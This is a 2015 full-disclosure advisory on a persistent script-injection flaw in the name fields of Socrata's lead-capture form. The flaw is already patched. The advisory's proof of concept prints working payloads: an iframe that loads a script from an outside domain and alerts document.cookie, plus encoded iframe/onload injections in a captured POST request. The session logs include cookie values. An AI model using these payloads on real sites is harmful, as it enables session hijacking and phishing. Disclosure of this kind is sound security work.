'[FD] Socrata Bug Bounty #1 - Persistent Encoding Vulnerability'

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List:       full-disclosure
Subject:    [FD] Socrata Bug Bounty #1 - Persistent Encoding Vulnerability
From:       Vulnerability Lab <research () vulnerability-lab ! com>
Date:       2015-04-23 9:34:48
Message-ID: 5538BCB8.4050705 () vulnerability-lab ! com
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Document Title:
===============
Socrata Bug Bounty #1 - Persistent Encoding Vulnerability

References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1438

Release Date:
=============
2015-04-22

Vulnerability Laboratory ID (VL-ID):
====================================
1438

Common Vulnerability Scoring System:
====================================
3.3

Product & Service Introduction:
===============================
Private Socrata Bug Bounty Program - BC

Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered an application-side input validation \
vulnerability in the Socrata online service web-application.

Vulnerability Disclosure Timeline:
==================================
2015-02-24: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security \
                GmbH)
2015-02-24: Vendor Notification (Socrata Security Team - Silent Bug Bounty Program)
2015-02-24: Vendor Response/Feedback (Socrata Security Team - Silent Bug Bounty Program)
2015-02-24: Vendor Fix/Patch (Socrata Developer Team)
2015-02-25: Bug Bounty Reward (Socrata Security Team - Silent Bug Bounty Program)
2015-04-22: Public Disclosure (Vulnerability Laboratory)

Discovery Status:
=================
Published

Affected Product(s):
====================
Socrata Inc
Product: Socrata Online Service - Web Application 2015 Q1

Exploitation Technique:
=======================
Remote

Severity Level:
===============
Medium

Technical Details & Description:
================================
An application-side mail encoding web vulnerability has been discovered in the official Socrata \
online service web-application. The vulnerability allows remote attackers to bypass the \
outgoing mail filter validation of the socrata web-server & web-application.

The vulnerability is located in the first- and lastname values of the `leadCapture/save` \
module. Remote attackers without privileged application  user account are able to inject \
persistent malicious script codes. The script code execution occurs in the notification mail to \
the service but  also to the active user copy mail. The persistent injected script code \
executes in the header section were the database context of the first- and  lastname will be \
displayed. The sender interacts automatically by usage of the discover.socrata.com service. The \
validation of the db stored outgoing  values is wrong encoded and allows persistent injections \
of malicious script codes via POST method. The attack vector is persistent and the request  \
method to inject is POST.

The security risk of the mail encoding web vulnerability is estimated as medium with a cvss \
(common vulnerability scoring system) count of 3.3. Exploitation of the web vulnerability \
requires no privileged web-application user account and low or medium user interaction because \
of the  persistent attack vector. Successful exploitation of the encoding vulnerability results \
in session hijacking, persistent phishing, persistent  external redirects and persistent \
manipulation of web header or mail body context.

Vulnerable Domain(s):
				[+] discover.socrata.com

Vulnerable Module(s):
				[+] index.php/leadCapture/save

Vulnerable Parameter(s):
				[+] firstname
				[+] lastname

Affected Sender(s):
				[+] sales@socrata.com

Affected Receiver(s):
				[+] bkm@evolution-sec.com

Affected Context Module(s):
				[+] Service Notification Mail (Users)

Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without privileged application user \
account or user interaction. For security demonstration or to reproduce the vulnerability \
follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Surf to the vulnerable service page
2. Inject payload to the firstname and lastname values
3. Save the content
4. View your mailbox to review the malicious mail
5 Successful reproduce of the security vulnerability!

PoC: Thank You for Downloading "The 2014 Benchmark Report"

<tbody><tr><td valign="top"><table border="0" cellpadding="0" cellspacing="0" \
width="100%"><tbody> <tr><td style="font-family:Helvecita, Arial,sans-serif; font-size:26px; \
line-height:30px; color:#2f2b26; padding:35px 20px 35px 20px; " align="center" \
valign="top"><div id="TopHeadline" class="mktEditable">2014 Open Data Benchmark Report</div> \
</td> </tr>
<tr><td colspan="2" align="left" valign="top"><div class="headerDefault"><div id="Header" \
class="mktEditable"></div> </div>
</td>
</tr>
</tbody></table>
</td>
</tr>
<tr><td style="padding:25px 25px 50px 25px; "><table class="column1" style="background:#fff; " \
align="left" border="0" cellpadding="0" cellspacing="0"><tbody><tr><td \
style="font-family:Helvetica,Arial,sans-serif; color:#928e8b; font-size:16px; line-height:20px; \
padding-bottom:25px; " valign="top"><div id="SubHeadline" class="mktEditable">Read the Full \
Report</div> </td>
</tr>
<tr><td style="font-family:Helvetica,Arial,sans-serif; color:#555555; font-size:12px; \
line-height:17px; " valign="top"><div id="Body" class="mktEditable"><p style="margin-top: \
0;">Hello ">[PERSISTENT INJECTED SCRIPT CODE HERE!]<iframe \
src="http://www.evolution-sec.com/peng.js" onload="alert(document.cookie),</p"> \
<p><span><p>Thank you for your interest in Socrata. You can download the 2014 Open Data \
Benchmark Study at any time by clicking the Download Now button below.</p> <p>An effective \
digital portal is the foundation of improving efficiency with open data. Learn how the <a href= \
"http://info.socrata.com/P000y0zS9I1GB80m0SpI193" target="_blank"
> Socrata Open Data Portal</a> can help you streamline data publishing as well as enable others \
> to search, query, and visualize your data with ease.</p></span></p>
<p>Sincerely,<br />   The Socrata Team </p></div>
<table border="0" cellspacing="0" cellpadding="0" width="130" ><tr ><td valign="top" \
style="line-height:38px;"> <img \
src="http://discover.socrata.com/rs/socrata/images/SOC-2001-EmailTemplate_button-bg-left.png" \
width="4" height="38" style="display:block;"></td> <td valign="middle" align="center" \
width="122" style="background:#3688c7; font-family:Arial,sans-serif; font-size:11px; " id="cta" \
> <div class="mktEditable" id="ctabutton" ><a style="color: #fff; text-decoration: none;" \
> href="http://info.socrata.com/dc/etTJjiR4FWljikJd-Q32ft94T9WmU3brfUe91EtPV5Ni0xg-
fugbOrtKryWragOmEUOmuznx6oKiB7-ZI_vvTlWvpJxF-ZMxGVvTpDTBBgewMyZQls7ugS6M1FrTI_N_/DSz801n0IIS00m019y3G0z9">Download \
Now</a></div> </td>
<td valign="top" style="line-height:38px;"><img \
src="http://discover.socrata.com/rs/socrata/images/SOC-2001-EmailTemplate_button-bg-right.png" \
width="4" height="38" style="display:block;"></td> </tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>

--- PoC Session Logs [POST] (Injection) ---
18:22:52.246[607ms][total 607ms] Status: 200[OK]
POST http://discover.socrata.com/index.php/leadCapture/save2 Load Flags[LOAD_BYPASS_CACHE \
LOAD_BACKGROUND ] Größe des Inhalts[162] Mime Type[application/json] Request Header:
Host[discover.socrata.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
Accept[application/json, text/javascript, */*; q=0.01]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
X-Requested-With[XMLHttpRequest]
Referer[http://discover.socrata.com/2014-open-data-benchmark-report.html?utm_source=website&utm_medium=organic&utm_content=benchmark-ctas&utm_campaign=2014-benchmark-report]
 Content-Length[1547]
Cookie[_ga=GA1.2.1116345037.1424797254; \
_mkto_trk=id:851-SII-641&token:_mch-socrata.com-1424797253790-11625; \
BIGipServerabkweb_app_http=805830922.20480.0000; _ga=GA1.3.1116345037.1424797254; \
__ar_v4=VEJ5FE467RDKVEKTJM4OBA%3A20150226%3A4%7CYVZAENVZKNFATNFDNV7HDD%3A20150226%3A6%7CBASXJGCN7FCI5NFI65M4R7%3A20150226%3A6%7CZV6R5RYQUZFC7NTFHALGCQ%3A20150226%3A2; \
_bizo_bzid=2dccc537-d055-4ced-8648-cc5eff5e5db6; _bizo_cksm=2A2F66AADC1BB497; \
_bizo_np_stats=14%3D75%2C; __csess=1424799445047.9ZTM9L.; _gat_UA-9046230-4=1; \
__cdrop=.7YI4DD.] Connection[keep-alive]
Pragma[no-cache]
Cache-Control[no-cache]
POST-Daten:
FirstName[%22%3E%3Ciframe%20src%3Da%20onload%3Dalert(%22PENTEST%22)]
LastName[%22%3E%3Ciframe%20src%3Da%20onload%3Dalert(%22PENTEST%22)%20%3C]
Email[bkm%40evolution-sec.com]
Company[sap%20epi]
Title[pentester%2023%20ONE]
testtest__c[]
Opt_in_Checkbox__c[Yes]
UTM_Term__c[]
UTM_Source__c[website]
UTM_Medium__c[organic]
UTM_Content__c[benchmark-ctas]
UTM_Campaign__c[2014-benchmark-report]
RF_HQ_Company_Name__c[]
RF_MS_Address1__c[]
RF_MS_Address2__c[]
RF_MS_Annual_Revenue__c[]
RF_MS_City__c[]
RF_MS_Company_Name__c[]
RF_MS_Confidence_Level__c[not%20found]
RF_MS_Employee_Location_Count__c[]
RF_MS_Employee_Total_Count__c[]
RF_MS_Inferred_Area_Code__c[]
RF_MS_Inferred_City__c[Heidelberg]
RF_MS_Inferred_Country__c[Germany]
RF_MS_Inferred_State__c[Baden-Wurttemberg]
RF_MS_Location_Type__c[]
RF_MS_NAICS_Name__c[]
RF_MS_NAIC_Code__c[]
RF_MS_Phone__c[]
RF_MS_SIC__c[]
RF_MS_SIC_Code__c[]
RF_MS_SIC_Name__c[]
RF_MS_State_Code__c[]
RF_MS_State_Name__c[]
RF_MS_Subsidiary_Code__c[]
RF_MS_Trade_Name__c[]
RF_MS_URL__c[]
RF_MS_postal_Code__c[]
Qualification_PM_Highest_Priorities__c[Public%20Safety]
formid[1968]
lpId[4775]
subId[147]
munchkinId[851-SII-641]
lpurl[http%3A%2F%2Fdiscover.socrata.com%2F2014-Open-Data-Benchmark-Report_Landing-Page-B.html%3Fcr%3D%7Bcreative%7D%26kw%3D%7Bkeyword%7D]
 cr[]
kw[]
q[]
_mkt_trk[id%3A851-SII-641%26token%3A_mch-socrata.com-1424797253790-11625]
formVid[1968]
_mktoReferrer[http%3A%2F%2Fdiscover.socrata.com%2F2014-open-data-benchmark-report.html%3Futm_sou \
rce%3Dwebsite%26utm_medium%3Dorganic%26utm_content%3Dbenchmark-ctas%26utm_campaign%3D2014-benchmark-report]
 Response Header:
Server[nginx]
Date[Tue, 24 Feb 2015 17:22:57 GMT]
Content-Type[application/json; charset=utf-8]
Content-Length[162]
Connection[keep-alive]
Access-Control-Allow-Origin[*]
Vary[Accept-Encoding]
Content-Encoding[gzip]
-
18:22:52.871[1070ms][total 1332ms] Status: 200[OK]
GET http://discover.socrata.com/2014-benchmark-report-email-thank-you.html?aliId=5515772 Load \
Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[6524] Mime \
Type[text/html] Request Header:
Host[discover.socrata.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://discover.socrata.com/2014-open-data-benchmark-report.html?utm_source=website&utm_medium=organic&utm_content=benchmark-ctas&utm_campaign=2014-benchmark-report]
 Cookie[_ga=GA1.2.1116345037.1424797254; \
_mkto_trk=id:851-SII-641&token:_mch-socrata.com-1424797253790-11625; \
BIGipServerabkweb_app_http=805830922.20480.0000; _ga=GA1.3.1116345037.1424797254; \
__ar_v4=VEJ5FE467RDKVEKTJM4OBA%3A20150226%3A4%7CYVZAENVZKNFATNFDNV7HDD%3A20150226%3A6%7CBASXJGCN7FCI5NFI65M4R7%3A20150226%3A6%7CZV6R5RYQUZFC7NTFHALGCQ%3A20150226%3A2; \
_bizo_bzid=2dccc537-d055-4ced-8648-cc5eff5e5db6; _bizo_cksm=2A2F66AADC1BB497; \
_bizo_np_stats=14%3D75%2C; __csess=1424799445047.9ZTM9L.; _gat_UA-9046230-4=1; \
__cdrop=.7YI4DD.] Connection[keep-alive]
Response Header:
Server[nginx]
Date[Tue, 24 Feb 2015 17:22:58 GMT]
Content-Type[text/html; charset=utf-8]
Content-Length[6524]
Connection[keep-alive]
p3p[CP="CAO CURa ADMa DEVa TAIa OUR IND UNI COM NAV INT"]
Vary[*,Accept-Encoding]
Content-Encoding[gzip]

Reference(s):
http://discover.socrata.com/index.php/leadCapture/save2
http://discover.socrata.com/2014-benchmark-report-email-thank-you.html?aliId=5515772
http://discover.socrata.com/2014-open-data-benchmark-report.html?utm_source=website&utm_medium=organic&utm_content=benchmark-ctas&utm_campaign=2014-benchmark-report

Solution - Fix & Patch:
=======================
Encode and Parse the firstname and lastname values in the contact formular. Restrict the input \
to disallow injection of special chars or script codes. Parse the outgoing contact of mails \
with user values to prevent persistent script code execution in mail body with user values.

Security Risk:
==============
The security risk of the application-side mail encodeing web vulnerability is estimated as \
medium. (CVSS 3.3)

Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) \
[www.vulnerability-lab.com]

Disclaimer & Information:
=========================
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